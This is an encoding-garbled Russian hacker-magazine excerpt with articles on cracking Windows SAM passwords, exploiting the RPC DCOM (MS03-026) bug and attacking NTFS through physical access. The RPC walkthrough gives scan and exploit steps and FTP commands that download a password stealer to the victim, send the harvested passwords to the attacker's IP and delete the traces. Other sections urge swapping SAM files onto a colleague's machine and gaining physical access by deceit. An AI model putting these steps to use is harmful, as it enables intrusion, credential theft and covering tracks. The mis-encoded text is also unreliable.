ôåêòèâíî! Êîíå÷íî, ïàðîëè âèäà
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Äëÿ äåøèôðîâàíèÿ ïàðîëåé Windows íåîáõîäèì åùå è êëþ÷
SYSKEY. Ïîýòîìó çàìåíà SAM-áàçû íà ôàéë ñ äðóãîãî êîìïüþòåðà
ïðèâåäåò ê òîìó, ÷òî, âîçìîæíî, ÎÑ è áóäåò çàãðóæàòüñÿ, íî äàëåå
îêíà ââîäà ïàðîëÿ òû íå ïðîéäåøü, òàê êàê ïàðîëè â ðàçíûõ SAM-
áàçàõ çàøèôðîâàíû ðàçíûìè SYSKEY-êëþ÷àìè. Íî íà êîìïüþòå-
ðû îäíîé êðóïíîé ïîñòàâêè äëÿ ñîêðàùåíèÿ âðåìåíè íà óñòàíîâêó
Windows îáû÷íî ïðèìåíÿþò ëèáî óæå ãîòîâûå CD-îáðàçû óñòàíîâ-
ëåííîé ÎÑ, ëèáî èñïîëüçóþò ïðîãðàììû äëÿ êëîíèðîâàíèÿ óñòà-
íîâêè Windows îäíîâðåìåííî íà áîëüøîå êîëè÷åñòâî ìàøèí. Â
ýòîì ñëó÷àå êëþ÷è SYSKEY íà âñåõ ýòèõ ìàøèíàõ áóäóò ÎÄÈÍÀÊÎ-
ÂÛÌÈ (åùå îäíà íåäîðàáîòêà Microsoft).

Òàêèì îáðàçîì, åñëè ó òåáÿ è ó òâîåãî êîëëåãè ïî ðàáîòå ìàøèíû
èç îäíîé ïîñòàâêè è ÎÑ íå ïåðåóñòàíàâëèâàëàñü, òî ìîæåøü ïîï-
ðîáîâàòü ñêîïèðîâàòü íà åãî ìàøèíó ñâîè ôàéëû SAM è SAM.LOG
(ïðåäâàðèòåëüíî ñîõðàíèâ îðèãèíàëû) è ïîïûòàòüñÿ âîéòè â ñèñòå-
ìó ñî ñâîèì àêêàóíòîì.

ÇÀÌÅÍÀ SAM-ÁÀÇÛ

Ñóùåñòâóåò íåñêîëüêî ìåòîäîâ âîññòàíîâëåíèÿ ïàðîëåé:

Àòàêà ïîëíûì ïåðåáîðîì - ñàìûé ðàñïðîñòðàíåííûé ìåòîä: ïðîñòî
ïåðåáèðàþòñÿ ïîäðÿä âñå ïàðîëè, ñîñòîÿùèå èç ñèìâîëîâ êàêîãî-
ëèáî àëôàâèòà.

Àòàêà ïî ìàñêå - î÷åíü ýôôåêòèâíûé âèä àòàêè, åñëè èìååòñÿ îï-
ðåäåëåííàÿ èíôîðìàöèÿ î ïàðîëå, íàïðèìåð, ÷òî îí ñîñòîèò èç 10
ñèìâîëîâ è çàêàí÷èâàåòñÿ íà "admin" èëè æå ïåðâûå 5 ñèìâîëîâ -
öèôðû, à ïîñëåäóþùèå - ñèìâîëû èç íàáîðà A...Z è ò.ä.

Àòàêà ïî ñëîâàðþ - äîñòàòî÷íî ýôôåêòèâíûé è î÷åíü áûñòðûé âèä
àòàêè, ïðè êîòîðîì ïðîâåðÿþòñÿ ïàðîëè èç òàê íàçûâàåìûõ ñëîâà-
ðåé - òåêñòîâûõ ôàéëîâ, â êîòîðûõ ñîáðàíû ÷àñòî èñïîëüçóåìûå
ñëîâà, ñëîâîñî÷åòàíèÿ, ñîñåäíèå êîìáèíàöèè ñèìâîëîâ íà êëàâèà-
òóðå è ò.ï.

Ãèáðèäíàÿ àòàêà - òîæå äîñòàòî÷íî ýôôåêòèâíûé âèä àòàêè, äàþ-
ùèé âîçìîæíîñòü ïðè ïåðåáîðå ïî ñëîâàðþ äîáàâëÿòü ñëåâà è
ñïðàâà ê ïðîâåðÿåìûì ïàðîëÿì îò 1 äî 3 ñèìâîëîâ, ÷òî ïîçâîëÿåò
íàõîäèòü ïàðîëè âèäà master## èëè _admin_.

Àòàêà ðàñïðåäåëåííûì ïåðåáîðîì - "ðàñïàðàëëåëèâàíèå" ïðîöåñ-
ñà ïåðåáîðà íà íåñêîëüêî êîìïüþòåðîâ, ÷òî ïîçâîëÿåò ñîêðàòèòü
âðåìÿ ïåðåáîðà (ñêîëüêî êîìïüþòåðîâ, âî ñòîëüêî ðàç áûñòðåå ïå-
ðåáîð).

Àòàêà ïî pre-computed õýøàì - íàáèðàþùèé îáîðîòû íîâûé âèä
àòàêè, ïðèìåíÿåìûé â ïðîãðàììå LC5 è ðÿäå äðóãèõ. Îñíîâàí íà
ñîçäàíèè òàê íàçûâàåìûõ Rainbow-òàáëèö (ñìîòðè ïðîåêò
www.antsight.com/zsl/rainbowcrack) - îãðîìíûõ (ñîòíè ìåãàáàéò è
äåñÿòêè ãèãàáàéò), çàðàíåå ðàññ÷èòàííûõ òàáëèö ñîîòâåòñòâèé "Ïà-
ðîëü = Õýø". Ïîçâîëÿåò âîññòàíàâëèâàòü áûñòðî íåñëîæíûå ïàðî-
ëè. Âðåìÿ âîññòàíîâëåíèÿ - âðåìÿ ïîèñêà õýøà â òàáëèöå (áàçå
äàííûõ) äëÿ ïîëó÷åíèÿ ïàðîëÿ, êîòîðûé ñîîòâåòñòâóåò ýòîìó õýøó.
Íî îáúåì òàáëèöû íå áåñêîíå÷åí, è âîññòàíîâèòü äëèííûå ïàðîëè
ýòèì ìåòîäîì íåâîçìîæíî.

ÌÅÒÎÄÛ ÂÎÑÑÒÀÍÎÂËÅÍÈß ÏÀÐÎËÅÉ



lb&z(4VMmcx{ j̀[P% âîññòàíîâèòü
ïðàêòè÷åñêè íåâîçìîæíî, íî âåäü åñòü
åùå è ÷åëîâå÷åñêèé ôàêòîð, ñîöèàëü-
íàÿ èíæåíåðèÿ è ò.ï. Òàê ÷òî èíîãäà
ìîæíî óçíàòü ïàðîëü è áåç SAM-áàçû.

Î÷åâèäíî, ÷òî âîññòàíîâëåíèå ïàðî-
ëåé - ïðîöåññ òâîð÷åñêèé è òðåáóåò
õîðîøåé èíòóèöèè. Ëþáîå îêîí÷àíèå

ïàðîëÿ (åñëè îí äëèííåå 7, íî êîðî÷å
14 ñèìâîëîâ), áóäó÷è íàéäåííûì â
ïåðâóþ î÷åðåäü, äàåò îáèëüíóþ ïèùó
äëÿ ðàçìûøëåíèé. Àëãîðèòìîâ, ïî êî-
òîðûì ïîëüçîâàòåëè ôîðìèðóþò ñâîè
ïàðîëè, íà ñàìîì äåëå íå òàê óæ è
ìíîãî. Òàê ÷òî àíàëèç, àíàëèç è åùå
ðàç àíàëèç! E

SAMInside ((shareware, wwww.insidepro.com)

Îñîáåííîñòè:
- ìíîãîÿçû÷íûé èíòåðôåéñ (â òîì ÷èñëå ðóññêîÿçû÷íûé)
- äåêîäèðóåò õýøè, çàøèôðîâàííûå êëþ÷îì SYSKEY
- íåáîëüøîé ðàçìåð
- âûñîêàÿ ñêîðîñòü ïåðåáîðà ñðåäè àíàëîãîâ (ïåðåáîð ïî LM-õý-
øàì íà AthlonXP 1700+ ïðîèñõîäèò ñî ñêîðîñòüþ 5,7 ìèëëèîíîâ
ïàðîëåé â ñåêóíäó, à ïåðåáîð îäíîãî NT-õýøà - äî 9,8 ìèëëèîíîâ
ïàðîëåé â ñåêóíäó)
- íå òðåáóåò èíñòàëëÿöèè è ìîæåò ðàáîòàòü ñ äèñêåòû èëè CD

LC4/LC5 ((shareware, wwww.atstake.com)

Îñîáåííîñòè:
- àíãëîÿçû÷íûé èí-
òåðôåéñ
- ðàáîòà ñ pre-com-
puted òàáëèöàìè
- âñòðîåííûå ñðåä-
ñòâà äëÿ ñíèôèíãà
ïàðîëåé (ïåðåõâàòà
ïàðîëåé èç ñåòåâîãî
òðàôèêà) è èõ âîñ-
ñòàíîâëåíèÿ

Proactive WWindows SSecurity EExplorer ((shareware,
www.elcomsoft.com)

Îñîáåííîñòè:
- àíãëîÿçû÷íûé èí-
òåðôåéñ
- äåêîäèðóåò õýøè,
çàøèôðîâàííûå
êëþ÷îì SYSKEY

LC+4.02 ((freeware,
www.lcp.nm.ru)

Îñîáåííîñòè:
- ðóññêîÿçû÷íûé
èíòåðôåéñ
- øèðîêèå âîçìîæíîñòè ãèáðèäíîé àòàêè
- ðàñïðîñòðàíÿåòñÿ áåñïëàòíî

BKHive èè SSAMDump2 ((freeware, wwww.studenti.unina.it/~ncuomo/syskey/)

Ýòè êîíñîëüíûå ïðîãðàììû íå ïðåäíàçíà÷åíû äëÿ âîññòàíîâëåíèÿ
ïàðîëåé, îíè èñïîëüçóþòñÿ ëèøü äëÿ ïîëó÷åíèÿ õýøåé. BKHive èç
SYSTEM-ôàéëà èçâëåêàåò 16 áàéò êëþ÷à SYSKEY è ñîõðàíÿåò èõ â
áèíàðíîì ôàéëå. SAMDump2 èç SAM-ôàéëà èçâëåêàåò õýøè, èñ-
ïîëüçóÿ äëÿ äåêîäèðîâàíèÿ SYSKEY êàê ðàç ýòîò áèíàðíûé ôàéë.

ÏÐÎÃÐÀÌÌÛ ÄËß ÐÀÁÎÒÛ Ñ SAM-ÁÀÇÀÌÈ

LC4/LC5

Proactive Windows Security Explorer



Íàóìîâ Þðèé aka Crazy_Script (crazy_script@vr-online.ru)

Í å òàê äàâíî RPC-óÿçâèìîñòü ãðåìåëà íà âåñü ìèð. Ïîâàëüíûå âçëîìû, MSBlast, ñíîâà ïîâàëüíûå âçëîìû. Íà ýòó òåìó
íàïèñàíà êó÷à ñòàòåé è ìàíóàëîâ. Òåì íå ìåíåå, îñòàþòñÿ åùå òå, êòî íå ïðîïàò÷èë ñâîþ ñèñòåìó è íå óñòàíîâèë äàæå

ïåðñîíàëüíûé ôàåðâîë.

RPC DCOM ÄËß
ÌËÀÄØÅÃÎ ÁÐÀÒÈÊÀ
ÏÎÏÓËßÐÍÀß ÝÊÑÏËÓÀÒÀÖÈß ÈÇÂÅÑÒÍÎÃÎ ÁÀÃÀ

ÒÅÎÐÈß
RPC (Remote

Procedure Call - óäàëåí-
íûé âûçîâ ïðîöåäóð) -
ýòî ìåõàíèçì, ïîçâîëÿ-

þùèé ïðîãðàììå íà îäíîì êîìïüþòå-
ðå âûïîëíÿòü íåêèé êîä íà óäàëåííîé
ìàøèíå. Êîìïàíèÿ Sun Microsystems
áûëà îäíîé èç ïåðâûõ, ðåàëèçîâàâ-
øèõ ýòó ñëóæáó. RPC áàçèðîâàëàñü íà
ïðîòîêîëå âíåøíåé ïåðåäà÷è äàííûõ
XDR (eXternal Data Representation).
Âñå ýòî Sun äåëàëà äëÿ òîãî, ÷òîáû
îáåñïå÷èòü âçàèìîäåéñòâèå ñåòåâîé
èíôîðìàöèîííîé ñëóæáû è ôàéëî-
âîé ñèñòåìû. Ïîñëå ïåðâîãî øàãà êîì-
ïàíèè ñëóæáû RPC ñòàëè èñïîëüçî-
âàòüñÿ è â ïðîäóêòàõ ñåìåéñòâà UNIX,
à ïîçæå � â Windows.

Áàã áûë îáíàðóæåí â èþëå 2003 ãî-
äà â ïðîäóêòàõ Microsoft Windows
NT/2000/XP/2003 ïîëüñêèìè ýêñïåð-
òàìè Last Stage of Delirium. Òîãäà ìîæ-
íî áûëî çàâàëèòü íåâåðîÿòíîå êîëè-
÷åñòâî ñåðâåðîâ, âåäü ëèøü ìàëàÿ èõ
÷àñòü áëîêèðîâàëà âõîäÿùèå ïàêåòû
íà ïîðò 135, ÷åðåç êîòîðûé îñóùåñ-
òâëÿëàñü àòàêà. Áóêâàëüíî ñðàçó æå
ñòàëî èçâåñòíî, ÷òî óÿçâèìû âñå ñåð-
âèñû RPC, à ýòî åùå 139-é, 445-é è
593-é ïîðòû. Åñëè áû â òî âðåìÿ âû-
ïóñòèëè ïóáëè÷íûé ýêñïëîèò, ïðîè-
çîøëà áû êàòàñòðîôà. Íî åãî íå áû-
ëî, è ñåòåâàÿ îáùåñòâåííîñòü ïðî-
äîëæàëà æèòü ñïîêîéíî, íå çàäóìû-
âàÿñü îá ýòîé äûðêå.

Íî òàê íå ìîãëî äîëãî ïðîäîëæàòü-
ñÿ. Â êîíöå èþëÿ òîãî æå ãîäà ïîÿâè-
ëîñü òåõíè÷åñêîå îïèñàíèå óÿçâèìîñ-

òè, ñòàëè ïîÿâëÿòüñÿ ýêñïëîèòû è âîç-
íèêëà ãëîáàëüíàÿ óãðîçà MSBlast.

EXPLOIT�ÀÖÈß ÁÀÆÍÎÉ ÒÀ×ÊÈ
Îñóùåñòâèòü RPC DCOM-àòàêó ìî-

æåò ëþáîé. Äëÿ ýòîãî, ñ ïîçâîëåíèÿ
ñêàçàòü, «âçëîìà» íàì íåîáõîäèìû: 
1. RPC GUI Exploit, íàïèñàííûé ÷å-

ëîâåêîì ïî èìåíè r3l4x. Òî÷íåå ñêà-
çàòü, èì íàïèñàíà òîëüêî ãðàôè÷åñ-
êàÿ îáîëî÷êà, ñàì æå ñïëîèò ïðèíàä-
ëåæèò ðåáÿòàì èç LSD Security Group.
2. KAHT2 äëÿ ïîèñêà áàæíîé òà÷êè

(åñëè íàäî åå èñêàòü).
3. Êàêàÿ-íèáóäü ïðîãðàììà äëÿ çà-

èìñòâîâàíèÿ ïàðîëåé è ïðî÷åé âêóñ-
íîñòè. Íàïðèìåð, PassView 1.5. 

Èòàê, íà÷íåì. Ñàìîå ãëàâíîå - íàéòè
íåïðîïàò÷åííóþ òà÷êó. Äëÿ ýòîãî íàì
è íóæåí ÊÀÍÒ2. Ïðèìåð:

C:\xtools\kaht2 10.0.0.1 10.0.0.255 500

Çíà÷åíèå threads, ñòîÿùåå ïîñëå äèà-
ïàçîíà IP, ìîæíî ïîñòàâèòü è 100, è 80
- êîìó êàê óäîáíåå (ïî óìîë÷àíèþ 50).

Çàïóñêàåì GUI RPC Exploit. Ââîäèì
àéïèøíèê, êîòîðûé íàì âûäàë ÊÀÍÒ,
è æìåì Test. Äîëæíî âûñâåòèòüñÿ
«Connected!». Ïåðåõîäèì âî âêëàäêó
FTP Server è æìåì ñòàðò, çàòåì - âî
âêëàäêó Exploit. Íàæèìàåì «Exploit!»,
è íàøåìó âçîðó îòêðûâàåòñÿ øåëë.
Âîò ÷òî äîëæíî ïîëó÷èòüñÿ ïîñëå çà-
ïóñêà ñïëîèòà:

-- w00t --

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsfot Corp.

C:\WINDOWS\system32>

Õî÷ó çàìåòèòü, ÷òî ìû èìååì âîç-
ìîæíîñòü âûáîðà óäàëåííîé ÎÑè
(Win200[All] èëè WinXP[All]). Âîçíèêà-
åò âîïðîñ: à ÷òî åñëè íà óäàëåííîé
ìàøèíå ñ îòêðûòûì 135-ì ïîðòîì ñòî-
èò WinNT? Äëÿ ýòîãî ê ñïëîèòó ïðèëà-
ãàåòñÿ ñïèñîê âîçâðàùàåìûõ àäðåñîâ
(ôàéë RET.txt). Âñå, ÷òî òðåáóåòñÿ, -
íàéòè â ýòîì ñïèñêå íóæíóþ âåðñèþ
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www.securitylab.ru/_exploits/kaht2.zip - ñêàíåð äëÿ îáíàðóæåíèÿ áàãà
www.securitylab.ru/_tools/PTms03039.zip - óòèëèòà îò PT äëÿ

ïðîâåðêè ëîêàëüíîé ñåòè íà áàã
www.security.nnov.ru/search/news.asp?binid=2988&l=RU - âñå

ðàçíîâèäíîñòè ýêñïëîèòîâ è îðèãèíàëüíûå òåêñòû
www.securitylab.ru/_tools/RPC2.zip - GUI PRC EXploit v2 by r3l4x
www.web-hhack.ru/download/info.php?go=44 - PassView v1.5
www.microsoft.com/technet/security/bulletin/MS03-0026.asp -

ïàò÷ îò ÌÑ

À âîò è íåïðîïàò÷åííàÿ òà÷êà!



MSBlast -
÷åðâü íà
îñíîâå áàãà
RPC DCOM -
ñòàë ñàìûì
ðàçðóøè-
òåëüíûì çà
âñþ èñòî-
ðèþ èíòåð-
íåòà.

ÎÑè è âïèñàòü àäðåñ â ñîîòâåòñòâóþ-
ùóþ ñòðîêó Return Adress.

Èòàê, ìû ïîëó÷èëè äîñòóï. Òåïåðü
íàøà öåëü - çàêà÷àòü ôàéëû
passview.exe è export.bat (îáà èç ñêà-
÷àííîé ðàíåå PassView 1.5). Äëÿ ýòîãî
ñòàðòóåì ftp:

c:\WINDOWS\system32>ftp
ftp
open 194.XX.XX.XX // íàø IP (ñìîòðèì â GUI
PRC Exploit âî âêëàäêå FTP Server)
user <194.XX.XX.XX:<none>>: asdf // asdf - ëî-
ãèí ïî óìîë÷àíèþ, ìîæíî èçìåíèòü â òîé
æå âêëàäêå FTP Server

get /xtools/passview.exe // çàêà÷èâàåì
ôàéë èç ïàïêè C:\xtools
get /xtools/export.bat
!export.bat // çàïóñêàåì export.bat íà óäà-
ëåííîé òà÷êå
put export.txt // çàáèðàåì ïîëó÷åííîå

Â ôàéëå export.txt áóäóò âñå ïàðîëè,
êîòîðûå äîëæíà áûëà äîñòàòü ïðîã-
ðàììà PassView. Îñòàëîñü òîëüêî çà-
ìåñòè ñëåäû:

del export.bat
del export.txt
del passview.exe

Ðàçóìååòñÿ, ýòî òîëüêî ïðèáëèçè-
òåëüíûé ïëàí äåéñòâèé. 

DEFENCE
À òåïåðü ïðî çàùèòó. Ìîæíî ïî

ñòàðèíêå îòêëþ÷èòü DCOM: ëåçåì â
ðååñòð â
HKEY_LOCAL_MACHINE\Software\Micr
osoft\OLE è èçìåíÿåì çíà÷åíèå
EnableDCOM ñ "Y" íà "K".

Åñòü åùå ñïîñîá ÷åðåç óòèëèòó
dcomcnfg.exe (ìåíþ Ïóñê -> Âûïîë-
íèòü), íî ïðîùå âñåãî áëîêèðîâàòü
âõîäÿùèå ïàêåòû íà ïîðòû 135, 139,
445 è 593 è óñòàíîâèòü ïàò÷è, à ãëàâ-
íîå - SP2.

Êñòàòè, âîò ÷òî ãîâîðèò Microsoft ïî
ïîâîäó îòêëþ÷åíèÿ DCOM: «Åñëè âû
îòêëþ÷àåòå DCOM, âû ìîæåòå ïîòå-
ðÿòü ôóíêöèîíàëüíûå âîçìîæíîñòè
îïåðàöèîííîé ñèñòåìû. Ïîñëå òîãî
êàê âû îòêëþ÷àåòå ïîääåðæêó DCOM,
ìîæåò ñëó÷èòüñÿ ñëåäóþùåå. Ëþáîé
COM-îáúåêò, êîòîðûé ìîæåò áûòü àê-
òèâèðîâàí äèñòàíöèîííî, ïåðåñòàíåò
ðàáîòàòü. Ëîêàëüíûé COM+ snap-in íå
ñìîæåò ïîäêëþ÷àòüñÿ ê óäàëåííûì
ñåðâåðàì. Ôóíêöèÿ àâòîðåãèñòðàöèè
ñåðòèôèêàòîâ ìîæåò íåïðàâèëüíî
ôóíêöèîíèðîâàòü. Çàïðîñû Windows
Management Instrumentation (WMI)
óäàëåííûõ ñåðâåðîâ ìîãóò íåïðà-
âèëüíî ôóíêöèîíèðîâàòü. Ïîòåíöè-
àëüíî ñóùåñòâóåò ìíîæåñòâî âñòðî-
åííûõ êîìïîíåíòîâ è ñòîðîííèõ ïðè-
ëîæåíèé, êîòîðûå ìîãóò ïåðåñòàòü ðà-
áîòàòü, åñëè âû îòêëþ÷èòå DCOM.
Microsoft ðåêîìåíäóåò ïðîâåðèòü ðà-
áîòîñïîñîáíîñòü âñåõ ïðèëîæåíèé,
èñïîëüçóåìûõ â âàøåé ñðåäå, ïîñëå
îòêëþ÷åíèÿ DCOM. Microsoft òàêæå
ïðåäóïðåæäàåò, ÷òî íå âî âñåõ ñðåäàõ
ìîæíî îòêëþ÷èòü DCOM». E
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Àâòîð
ñòàòüè è
ðåäàêöèÿ
æóðíàëà íå
íåñóò íèêà-
êîé îòâåò-
ñòâåííîñòè
çà äåéñòâèÿ,
ñîâåðøåí-
íûå ÷èòàòå-
ëåì. Âñÿ
èíôîðìàöèÿ
äàíà â ñóãó-
áî îáðàçî-
âàòåëüíûõ
öåëÿõ. 

25 èþëÿ
2003 ãîäà -
ïåðåëîìíûé
ìîìåíò â
ýêñïëóàòà-
öèè RPC:
òåõíè÷åñêîå
îïèñàíèå
áàãà, ìíî-
æåñòâî
ñïëîèòîâ,
MSBlast.

Îòêëþ÷àåì DCOM

Îá óÿçâèìîñòè ñëóæáû RPC ìû ïîãîâîðèëè ñî ñïåöîì â îáëàñòè
êîìïüþòåðíîé áåçîïàñíîñòè, ðóêîâîäèòåëåì ïîïóëÿðíîãî ñàéòà
securitylab.ru Àëåêñàíäðîì Àíòèïîâûì.

XXS: Íà òâîé âçãëÿä, ñåé÷àñ åùå àêòóàëüíà ïðîáëåìà áàãà
RPC/DCOM?

AAAA: Áàã àêòóàëåí ïðè âêëþ÷åíèè â ñåòü òîëüêî ÷òî êóïëåííûõ
êîìïüþòåðîâ ñ ïðåäóñòàíîâëåííîé Windows. Ê ñîæàëåíèþ, ïðàêòè-
÷åñêè âñåãäà ïðîäàâöû êîìïüþòåðîâ íå çàáîòÿòñÿ îá óñòàíîâêå
ïîñëåäíåé âåðñèè îïåðàöèîííîé ñèñòåìû. Ñ âûõîäîì SP2 äëÿ
Windows XP ïðîáëåìà ðåøèòñÿ, íî íå ñðàçó. Åùå, ÿ äóìàþ, ïðîéäåò
íå ìåíåå 3 ìåñÿöåâ äî ìàññîâîãî ïîÿâëåíèÿ â ïðîäàæå OEM âåðñèé
Windows ñ âêëþ÷åííûì SP2.

XXS: Ðàññêàæè ÷èòàòåëÿì êðàòêî î êîâàðíûõ áàãàõ RPC.
AAAA: Ñàìàÿ ïåðâàÿ óÿçâèìîñòü (è ñàìàÿ îïàñíàÿ!) áûëà îáíàðó-

æåíà â èþëå 2003 ãîäà (îïèñàíî â áþëëåòåíå áåçîïàñíîñòè MS03-
026). Ýòó óÿçâèìîñòü ýêñïëóàòèðóåò ñàìûé ðàçðóøèòåëüíûé ÷åðâü
çà âñþ èñòîðèþ ñóùåñòâîâàíèÿ èíòåðíåòà - MSBlast. Ñïóñòÿ íåäå-
ëþ ïîñëå âûõîäà MS03-026 êèòàéöû ñîîáùèëè åùå îá îäíîé óÿç-
âèìîñòè â DCOM ïðè îáðàáîòêå __RemoteGetClassObject, êîòîðàÿ
ïîçâîëÿëà âûïîëíèòü îòêàç â îáñëóæèâàíèè äàæå ïðè óñòàíîâëåí-
íîé çàïëàòå MS03-026. Äàííóþ óÿçâèìîñòü êîìïàíèÿ Microsoft
óñòðàíèëà òîëüêî ÷åðåç 2 ìåñÿöà â ñîâîêóïíîñòè ñ äâóìÿ íîâûìè
óÿçâèìîñòÿìè (MS03-039), ïîçâîëÿþùèìè àòàêóþùåìó âûïîëíèòü
ïðîèçâîëüíûé êîä íà óÿçâèìîé ñèñòåìå, èñïîëüçóÿ ñïåöèàëüíî
ñôîðìèðîâàííûé DCERPC "bind" ïàêåò, çà êîòîðûì ñëåäóåò ñïåöè-
àëüíî ñôîðìèðîâàííûé ïàêåò DCOM object activation request. Îä-
íàêî íà ýòîì èñòîðèÿ íå çàêîí÷èëàñü. Áóêâàëüíî ÷åðåç ìåñÿö âïåð-
âûå íà ñàéòå SecurityLab.ru áûë îïóáëèêîâàí íîâûé ýêñïëîèò, êî-
òîðûé âûçûâàë îòêàç â îáñëóæèâàíèè äàæå ïðè óñòàíîâëåííîé
çàïëàòå MS03-039. Óäàëåííûé àòàêóþùèé ìîã âûçâàòü îòêàç â
îáñëóæèâàíèè (àâàðèéíîå çàâåðøåíèå ðàáîòû ñèñòåìû èëè ïåðå-
çàãðóçêà), ñîçäàâàÿ äâà ïîòîêà äëÿ îäíîãî è òîãî æå RPC-çàïðîñà.
Èçíà÷àëüíî ïðåäïîëàãàëîñü, ÷òî óÿçâèìîñòü ìîæåò ýêñïëóàòèðî-
âàòüñÿ òîëüêî äëÿ îòêàçà â îáñëóæèâàíèè, îäíàêî ñïóñòÿ ïîëãîäà
Microsoft íàêîíåö-òî îïóáëèêîâàëà èñïðàâëåíèå äëÿ ýòîé óÿçâè-
ìîñòè (MS04-012), â êîòîðîì óòâåðæäàëîñü, ÷òî îíà ìîæåò ýêñïëó-
àòèðîâàòüñÿ äëÿ âûïîëíåíèÿ ïðîèçâîëüíîãî êîäà. Â MS04-012 òàê-
æå áûëî óñòðàíåíî åùå òðè óÿçâèìîñòè â RPC DCOM: RPCSS
Service Vulnerability, CAN-2004-0116, RPC over HTTP Vulnerability -
CAN-2003-0807, Object Identity Vulnerability - CAN-2004-0124.

XXS: À êàêîé, íà òâîé âçãëÿä, ñàìûé ýôôåêòèâíûé è îïòèìàëüíûé
ñïîñîá çàùèòû?

AAAA: Çàïëàòà, ïåðñîíàëüíûé ôàåðâîë. Â áîëüøèíñòâå ñëó÷àåâ
ìîæíî áåçáîëåçíåííî îòêëþ÷àòü RPC DCOM.

ÈÍÒÅÐÂÜÞ Ñ ÏÐÎÔÅÑÑÈÎÍÀËÎÌ



Àíàëèçèðóþùèé (analyst1945@mail.ru)

Ä îñòóï ê äàííûì êîìïüþòåðà ïîä óïðàâëåíèåì ÎÑ Windows ìîæíî ïîëó÷èòü ìíîãèìè ñïîñîáàìè.
Îäíèì èç íèõ ÿâëÿåòñÿ àòàêà íà ïîñëåäíèé ðóáåæ çàùèòû äàííûõ - íà ôàéëîâóþ ñèñòåìó NTFS.

×ÅÐÅÇ ÎÁÐÀÇÛ
Ê ÑÅÐÄÖÓ
ÀÒÀÊÀ ÍÀ NTFS

ëàñòü íàä NTFS äàåò
âîçìîæíîñòè áàíàëü-
íîãî êîïèðîâàíèÿ/ïîä-
ìåíû èíôîðìàöèè, óñ-
òàíîâêè øïèîíñêèõ

ïðîãðàìì, èçìåíåíèÿ íàñòðîåê è ïîëó-
÷åíèÿ íóæíîãî àêêàóíòà çàìåíîé
SAM-ôàéëà. Äëÿ îñóùåñòâëåíèÿ àòà-
êè íà NTFS íåîáõîäèìî èìåòü ôèçè-
÷åñêèé äîñòóï ê èíòåðåñóåìîìó îáú-
åêòó (êîìïüþòåðó). Ïðè ýòîì íåâàæíî,
êàê òû ýòîò äîñòóï ïîëó÷èøü: âîð-
âåøüñÿ íî÷üþ â çäàíèå ñ ÷óëêîì íà
ãîëîâå, íàïîèøü àäìèíà äî áåñïàìÿò-
ñòâà èëè æå ïðîñòî óñòðîèøüñÿ íà ðà-
áîòó óáîðùèêîì, ðàçûãðàâ èç ñåáÿ
èìáåöèëëà â ïÿòîì ïîêîëåíèè. Ãëàâ-
íîå, èìåòü âîçìîæíîñòü ñ÷èòûâàòü
(çàïèñûâàòü) äàííûå ñî ñâîèõ íîñèòå-
ëåé è/èëè ïîäêëþ÷àòü âíåøíèå.

Ïðàâäà, ïðè ãðàìîòíîì ïîäõîäå ñèñ-
òåìíîãî àäìèíèñòðàòîðà ê çàùèòå
äàííûõ òû íå îáíàðóæèøü êàêèõ-ëèáî
óñòðîéñòâ äëÿ ðàáîòû ñ âíåøíèìè íî-
ñèòåëÿìè (FDD, CD/DVD-ROM/R/RW). Ê
õàêåðñêîìó ñ÷àñòüþ, íà ïîäàâëÿþùåì
áîëüøèíñòâå PC åñòü ãíåçäà äëÿ USB-
óñòðîéñòâ. Ê íèì è ñëåäóåò ïîäêëþ-
÷èòü ïðèïàñåííûé çàðàíåå âíåøíèé
íàêîïèòåëü è íàñòðîèòü â BIOS çàãðóç-
êó ñ âíåøíèõ USB-äåâàéñîâ. Ïðè ïîä-
äåðæêå BIOS îïöèè òàêîãî ðîäà íå âñå
äåâàéñû ñãîäÿòñÿ íà ðîëü çàãðóçî÷íî-
ãî óñòðîéñòâà. Íàïðèìåð, íåëüçÿ çàãðó-
çèòüñÿ ñ ïîëó÷èâøèõ ìàññîâîå ðàñïðî-
ñòðàíåíèå «ñâèñòêîâ». Íàèáîëåå ïîä-
õîäÿùèì âàðèàíòîì ÿâëÿþòñÿ äèñêè
ZIF è ïåðåõîäíèêè USB-IDE. È, êîíå÷íî
æå, íà âíåøíåì íîñèòåëå äîëæíà áûòü
óñòàíîâëåíà ëþáàÿ îïåðàöèîííàÿ ñèñ-
òåìà ñ ïîääåðæêîé NTFS.

Åñëè çàãðóçêà ñ âíåøíåãî óñòðîé-
ñòâà ïðîøëà íîðìàëüíî è ñòàëè äîñ-
òóïíû âñå ðàçäåëû æåñòêîãî äèñêà,
òåáå îñòàåòñÿ ñëèòü íóæíóþ èíôîð-
ìàöèþ, ïðîèçâåñòè íåîáõîäèìûå
äåéñòâèÿ è áûñòðî óíîñèòü íîãè. Ïðè
áîëåå íåáëàãîïðèÿòíûõ îáñòîÿòåëü-
ñòâàõ (îòñóòñòâèå USB-ïîðòîâ, ïàðîëü
íà íàñòðîéêó BIOS èëè îòñóòñòâèå
ïîääåðæêè çàãðóçêè ñ âíåøíèõ óñò-
ðîéñòâ) áåç âñêðûòèÿ êîðïóñà íèêàê
íå îáîéòèñü. Åñëè êîðïóñ íå çàêëþ÷åí
â ìåòàëëè÷åñêèé ñåéô (à áûâàåò è òà-

êîå), ñïàñåò êðåñòîâàÿ îòâåðòêà. À
äàëüøå ïðîñòî � ñáðàñûâàåøü íàñò-
ðîéêè BIOS, çàìêíóâ ñîîòâåòñòâóþ-
ùèå êîíòàêòû íà ìàòåðèíñêîé ïëàòå,
ïîäêëþ÷àåøü äåâàéñ â êà÷åñòâå çàã-
ðóçî÷íîãî è ïî ïëàíó. Íî âñêðûòèå
çàíèìàåò áîëüøå âðåìåíè, ñîïðîâîæ-
äàåòñÿ ãðîõîòîì è ñêðèïîì.

ÂÀÐÈÀÍÒ ÏÅÐÂÛÉ
Íà êîìïüþòåðå ïðèñóòñòâóåò êà-

êîé-ëèáî äèñêîâîä è ïàðîëü íà BIOS
íå óñòàíîâëåí. Íàñòðàèâàåøü â BIOS

ïðèîðèòåòíóþ çàãðóçêó ñ íóæíîãî òè-
ïà íîñèòåëÿ. Çàãðóæàåøü ñ äèñêà îïå-
ðàöèîííóþ ñèñòåìó, ïîääåðæèâàþ-
ùóþ NTFS. Äàëåå äåéñòâóåøü íà ñâîå
óñìîòðåíèå.

ÂÀÐÈÀÍÒ ÂÒÎÐÎÉ
Íà êîìïüþòåðå ïðèñóòñòâóåò êà-

